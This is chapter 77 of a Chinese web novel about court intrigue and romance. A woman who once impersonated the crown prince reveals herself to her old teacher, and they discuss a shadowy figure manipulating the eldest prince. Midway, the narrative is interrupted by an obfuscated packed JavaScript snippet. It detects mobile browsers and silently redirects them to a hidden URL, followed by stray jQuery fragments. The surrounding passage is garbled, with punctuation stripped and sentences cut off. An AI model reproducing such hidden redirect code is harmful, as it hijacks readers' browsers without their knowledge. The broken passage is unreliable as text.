第77章

作品:《入局而定

    这个叫萤儿的女郎,真的跟太子太像了,都有一股说不出的懒散却又蓬勃的朝气,让人看了就觉得讨喜。


    若说模样肖似是巧合,为何连气质也这般相像?


    小萤这顿饭,难得吃得食不下咽。


    她觉得自己像被二两银子从街上买来的童养媳,让个穷小子兴冲冲领回家门,到处炫耀!


    可凤渊是大奉的皇长子,又不是村里的破落户,拉她这个顶着侍妾名头的,炫耀个什么劲儿?


    想到这,她便忍不住想瞪身边的郎君。


    可是凤渊却神态自若地掏出手帕擦她嘴角的油,然后又夹了一大块的酥肉放到她的碗里:“这是我师娘的拿手菜,你尝尝。


    看得孙氏直笑,还甚是欣慰地对葛先生说:“原想着阿渊不会心疼女郎,可如今看,倒是比他的先生会疼人!


    小萤一阵干笑,心想还得感谢葛先生教得好,他可不光会疼人?还会伺候女郎癸水呢!


    好不容易一顿饭过后,小萤迫不及待地拉着凤渊回了屋子。


    没办法,不走快点,那个萧天养又要拉着她开练。


    等回了屋子,她很没正经样子地瘫软在床上,冲着凤渊道:“那小宅院周遭的暗桩都拔掉了没有?能不能下山回去啊,我想见见义父。


    凤渊脱了鞋子,顺势倒在她的身边,一边用高挺的鼻子磨蹭着她的脸颊,一边心不在焉道:“你走后,那院子热闹得很,前后来了三伙人,你确定要回去?


    小萤靠在他的臂弯里,用手指拨弄着郎君的嘴唇,无聊猜着来者:“来的第一伙人,应该是二皇子吧。他有了主上帮衬,消息要比以前灵通。他大哥从江浙带回了美人,还总是早出晚归,他得好奇死了。暗桩被拔了,那就来明的。他自然得替主上看看,一向冷情的大皇子究竟是真的沉迷女色,还是另有所谋。依着他那浅薄的性子,应该最耐不住,来得最早。


    凤渊被那纤长的手指撩拨得嘴唇酥麻,心不在焉道:“那剩下的两伙人呢?


    小萤又拨弄起了男人的喉结:“另外一伙,应该就是安庆公主了。她此番明着是替昔日江浙服侍过她的武将平反昭雪,其实是在向你递一份投名状。毕竟诏安孟准的人是你。她替义父开脱,其实是向你买好,私下里得跟你见见,看看能不能谈拢。


    凤渊吞咽着唾沫,喉结滚动得似生吞了鸡蛋,在她的指尖用力弹跳了一下。


    小萤又将手指伸向他下巴新生的胡茬,一边摸索一边道:“至于第三伙人……我想不出来,你说说看……哎呀!


    小萤一琢磨事情,就手指乱动的毛病得改了,她以为扣搓的是墙皮吗?


    那顽皮手指撩拨了


    一串火苗,自然是需得扑灭填堵。


    小萤一时便如离水的鱼儿,被拎出水面后,那嘴儿就再也合拢不住。


    待好不容易被放下,浑身已经湿透了,脖颈的汗渍可以在颈窝里养出一汪清泉。


    可郎君还不依足,便是要将颈窝的汗也要吮走。


    小萤用力咬着他的下巴:“跟你说着正经事,你是要干嘛?”


    凤渊却看着她绯红似熟透红果的脸,依旧心不在焉地想:新府的管事拿了王府新床的式样册子给他看,他当时没有选。


    现在想,还是那副镂空雕琢的黄花梨木的美人榻最好。


    蜿蜒的梨花木床身,最是贴合萤儿的曲线,无论是仰卧,还是侧躺,都可以贴服得天衣无缝……


    如此胡闹,差点将正事都给搅和散了。


    最后小萤才从凤渊的嘴里得知,这第三伙人,竟然是陛下派去的宫中总管。


    许是凤渊之前在他老子面前喊打喊杀,说娶了女郎便要掐死,让淳德帝有些担忧。


    所以当他从商贵妃的嘴里听说,大皇子带回了个卑贱女子养在外宅子里,不但不恼,反而有些如释重负,想着派人看看是不是真的。


    总之小萤弄清了三伙人一个赛一个挠头后,便彻底歇了回去的心思。


    只是这山上的日子,实在有些难过。


    小萤一个不留神,就又被萧天养捉去练功了,萧天养对女郎说不拜师的话,充耳不闻。一心要指点她苗刀的拔刀技法。


    葛先生请大皇子与他在凉亭饮茶,斟酌着问:“这位女郎与太子……是何关系?”


    凤渊垂眸道:“凑巧长得像。”


    葛先生熟谙大皇子的性子,他若不愿讲,铁棍撬舌也无用。


    葛先生无奈摇头又问:“那她与你……只是侍奉之人?”


    这次凤渊倒是郑重抬头,慢慢道:“她于我是很重要之人。”


    葛先生的眉头皱起:“那你于她……也是同等重要之人吗?”


    这次凤渊没有说话,俊秀的眉目间,略带了丝丝不确定的纠结,最后却紧绷着俊脸,立誓般笃定道:“我须是她重要之人!”


    言下之意,就算他现在不是,将来也必须是!


    这样的带着纠结,又有些懊丧的凤渊,似乎多了不曾有的人气。


    葛大年的心却有些不落地了。


    他虽然不知那女郎究竟是何来历。


    可是在毓秀村,这小女郎凭着一张嘴智退了魏贼,便足以明证她并不简单!


    而凤渊对这小女郎的重视,也远远超过了葛先生的想象。


    谁都是从年少时过来的。


    凤渊看向女郎的眼神赤诚而热烈,只是那女郎是凤渊可以倾心托付之人吗?


    葛大年的


    目光不禁投向了练武场上的女郎她被萧三爷逼急了竟爬上了一棵高树不肯下来还抱着树杈大声凄惨哭了起来。


    凤渊看到便立刻起身走出去去树下接那女郎。


    而萧天养则是手足无措说自己又没说重话正讲刀法让她练个百十遍那女娃怎么说哭就哭?


    依着葛先生的角度正好看见那女郎从树上跳入凤渊的怀里。


    那俏生生的脸


    上一滴眼泪都没有只背着萧天养冲凤渊瞪眼小声说话。


    看嘴型应该是:“你们都不是好东西我要累死了他若再缠着我小娘我要从山顶跳下去!”


    这话说得不客气若是往常依着凤渊的脾气是不会忍的。


    可凤渊的反应却是伸手捏了捏那女郎气鼓鼓的脸然后又揽她入怀让她继续装哭又不急不缓地跟萧天养说些什么女郎身体不适的话。


    练武之后葛先生终于逮了时间与这位萤儿女郎一叙了。


    葛大年必须要亲自试试这女郎心性不然他是不放心的。


    问过女郎籍贯年龄父母营生安在后葛先生出言敲打女郎道:“女郎可听身边人提起过你的模样有不妥之处?”


    小萤练武累瘫了抖着胳膊端起茶杯道:“听三皇子说奴家不敬与太子有几分肖似。”


    葛先生点了点头状似不经意道:“大皇子为人淡薄并不是会主动逢迎女郎之人。不知女郎受了何人之托来到大皇子身边侍奉?”


    显然葛先生认定闫小萤是受人指使顶着这样的容貌来坑害大皇子了。


    毕竟她的模样只要公布人前或者被蠢弟弟知道必定要引起轩然大波对大皇子毫无益处。


    小萤很认真地想了想笑着指了指一旁的棋盘:“先生可有兴致下上一盘?”


    葛先生便让她先手。


    待下上棋后葛先生脸上从容神色渐渐消失。


    因为他发现这个小女郎下棋凌厉之风……跟他的学生凤栖原一模一样!


    这等刁钻快棋


    当最后一子被包围吃下葛大年的胡子慢慢翘起抬头惊疑不定看着小萤迟疑道:“你……你是……”


    小萤起身虽然身着女装却依着男子礼节朝着葛先生潇洒施礼:“学生不敬又赢了帝师一局。”


    自此不必再言葛大年终于搞清楚了大皇子身边这位红颜的来历。


    原来不是有心人的敬奉而是他自己的两个学生在他的眼皮子底下大搞了这么乱七八糟的一场!


    震撼太大可能还牵涉皇室丑闻血缘伦理。


    葛帝师这般从容镇定之人表情都有些类似


    吐血前的崩溃。


    小萤自问还算尊师重道并没让她的老师惊吓太久。


    “先生说来话长不过学生敢保证跟大皇子绝无半点血缘关系!”


    接下来就是小萤从容点检些重点再将无关人等摘除说了自己入宫救兄之事。


    葛先生一生沉浸权谋什么牛马阵仗没见过?可他听这女郎一路的大胆经历却听得是头皮起酥发炸。


    若论起来最胆大的不是这女郎是这一切的罪魁源头那个胆大阴毒的汤皇后。


    葛帝师作为陪着陛下在堂前谋算的鬼才此前真是从来没想过陛下后院的女人们能扯出什么这么惊天动地的勾当。


    一时葛先生又有莫要小看了女子的感慨。


    不过萤儿女郎原来不必说出真相的毕竟大皇子已经替她包揽并未袒露实情。


    小萤听了先生的疑问却是笑道:“先生乃是大智慧之人就算我刻意隐瞒先生也必定会查明缘由你我师徒一场学生不想隐瞒先生。”


    这师徒一场让帝师微微叹了口气。


    只因为陛下忌惮汤家他对于凤栖原这个学生并没有尽到什么心力从未教授她真本事。


    关于“师徒”受之有愧。


    凤渊那孩子居然早早识破了假太子又喜欢上这女郎实在是让葛大年意外。


    但仔细想想凤渊与其他皇子不同并没有跟真正的凤栖原一起长大而他十年后第一眼见到的是萤儿女郎而非太子。


    若是一见钟情便不足为奇了。


    只是这一对小儿女的身份地位悬殊不说这女郎胆大入宫假冒太子的经历就很难与凤渊有个圆满的结果啊!


    他既然是这两个孩子的老师就不能不提醒他们。


    哪知他刚开了个头


    看她的神情似乎并不打算与凤渊非要有什么结果这儿女情长原本就不值一提。


    跟那些小儿女的瓜葛相比她更关注的却是:“先生可知那位啸云山庄的主上为何人?”


    葛大年也知道这位与朝中重臣往来的人物微微皱眉:“你为何会觉得我认识那位啸云山庄的主上?”


    “因为我见过凤渊在天禄宫囚居时他看到书籍都是先生注释的。这十年来那位主上一直无所不用其极地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15038891|135312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    控制着大皇子你……当真不知情?”


    葛先生皱眉道:‘这些书籍的确是我给凤渊那孩子准备的。不过是我当时寻了宫里的一个相熟的太监问他有没有门路给那孩子送些东西。后来他跑来说他有个徒弟负责给天禄宫送餐又说那孩子想看书问我能不能给他带些。可我带去的


    不光是书,还有他师娘为他准备的吃穿用度。只是后来我问大皇子,他说没收到,我也只以为是传话的太监克扣了。”


    小萤听懂了,也就是葛先生这些年给凤渊准备的不光书籍,还有许多吃穿用度,光是孙夫人做的衣服、被子、肉干,烙的饼就不计其数。


    可是到凤渊手里的,却只有寥寥几本书籍。


    所谓相熟的太监,应该也是主上的安排,巧妙两头逢迎,借了葛大年的书籍去软化那荒殿的大皇子。


    葛大年是第一次听说关于大皇子与啸云山庄主上的联系,一时听得头皮发紧,指尖微微发麻。


    聪慧如帝师,自然也一下子领悟了有人妄图操控那被囚孩子的意图。


    只是喃喃自语道:“这些……他为何都不同我讲……”


    可刚说了一半,葛帝师的目光就凝住了。


    他突然领悟到,凤渊从来不与他说这些,是因为凤渊这孩子压根就没有信任过他!


    虽然葛大年夫妇比较旁人,跟凤渊这孩子更亲近些,也着实拿他做了亲生孩子般心疼。


    可一个从三岁起,便流转到潜邸各位旧部府中,吃百家饭将养长大的孩子,他的戒备心本就比寻常的孩子要强许多。


    凤渊的话少,是从孩童时期便形成了的。他习惯默默用眼观察四周,对所有人都保持着高度的警惕性。


    虽然与葛氏夫妻生活的那些年,他变得好了许多。


    可随后的变故,却让他再次陷入十年噩梦。


    凤渊从未跟自己提起过“主上”,会不会是这孩子在怀疑他们夫妻也是那位主上的人?


    相较之下,眼前的女郎实在不谨慎,为何都没探明他的身份,就毫无保留地和盘托出?


    小萤听了却微微一笑:“就算你是主上的人又如何?毓秀村一遭,那位主上摆明便是牺牲你们夫妻。若只先生还好,可若伤了孙夫人,先生岂能跟主上善罢甘休?再说了,做了你一遭学生,岂不能了解先生秉正为人?”


    三言两句,既解释了她如此信任的缘由,又一顶高帽戴在了葛大年的脑袋上。


    葛先生直到此刻,终于将眼前的女郎与那位狡诈聪慧的少年太子重叠在一处了。


    若说这个女郎有什么过人之处,那便是她这份超乎寻常的亲和力。


    就连从小多疑,不轻易信任人的凤渊,似乎也愿意亲近,相信这女郎。


    这固然需要些江湖阅历,更多的却是天生的人格魄力。


    他以前见过有类似亲和魄力的女子,该是叶家女郎。


    只是跟已


    逝的叶展雪相比,这女郎更有股天生不循规蹈矩的野性,还少了些家国责任的约束。


    葛先生甚至不无遗憾的想,


    若是当年的叶展雪也像萤儿女郎般胆大难驯,她应该不会忍气吞声,为了家族名誉留在皇帝的身边吧!


    只是这样胆大妄为的女郎,若真与性子阴沉的凤渊一处,会对大奉的局势造成怎么样的结果?


    饶是聪颖的帝师,一时也不好下判断。


    不过这女郎眼下倒是对大皇子没有什么坏心思。只是想要探究那位主上到底何人。


    葛先生不好再对这位学生藏私,便知无不言:“自先帝登基以来,朝廷对江湖人士一直持着温和稳健的态度,一方面广揽贤才,另一方面,也有龙鳞暗卫对这些江湖中有异心之人进行辖制。而这位主上主要以经营黑市为主,此前并非显山露水的人物。所以老朽所知也不多。”


    而如今,若如这位女郎所言,这个神秘主上倒向二皇子,对未来的朝政局势,一定产生不可估量的影响。


    可惜,他要退出这盘深不可测的棋局了。


    前日,在他从宫里给妻子取来的药中,发现掺了犀角的成份。


    这东西虽然名贵,却与孙氏平日所用药性相冲,一旦误服,后果不堪设想。


    查起来也简单,葛大年很快就知道是二皇子那边的人动的手脚。


    大约是他在查处庚铁案时,随口给陛下献策,被二皇子知道忌惮了。


    这是警告,警告葛大年莫要再在朝政里掺和。


    葛大年这次入京,完全是为了孙氏求医,另外也是放心不下凤渊这孩子。


    可是如今,毓秀村的事情,再加上这次换药的意外,他愈加清醒,自己将妻子扯入了怎样的乱局里。


    所以如今,他唯一的心愿,就是带妻子再次远离京城,不要再受这些算计干扰。


    想到这,葛先生从怀里掏出一页纸,递给了小萤:“朝中之臣,对于大皇子而言,堪用的并不多,可若能善用这几人,却可事半功倍!”


    小萤有些意外,并没伸手去接,而是反问:“先生为何要给我?”


    若真有堪用人才,葛先生应该老早就给了凤渊啊!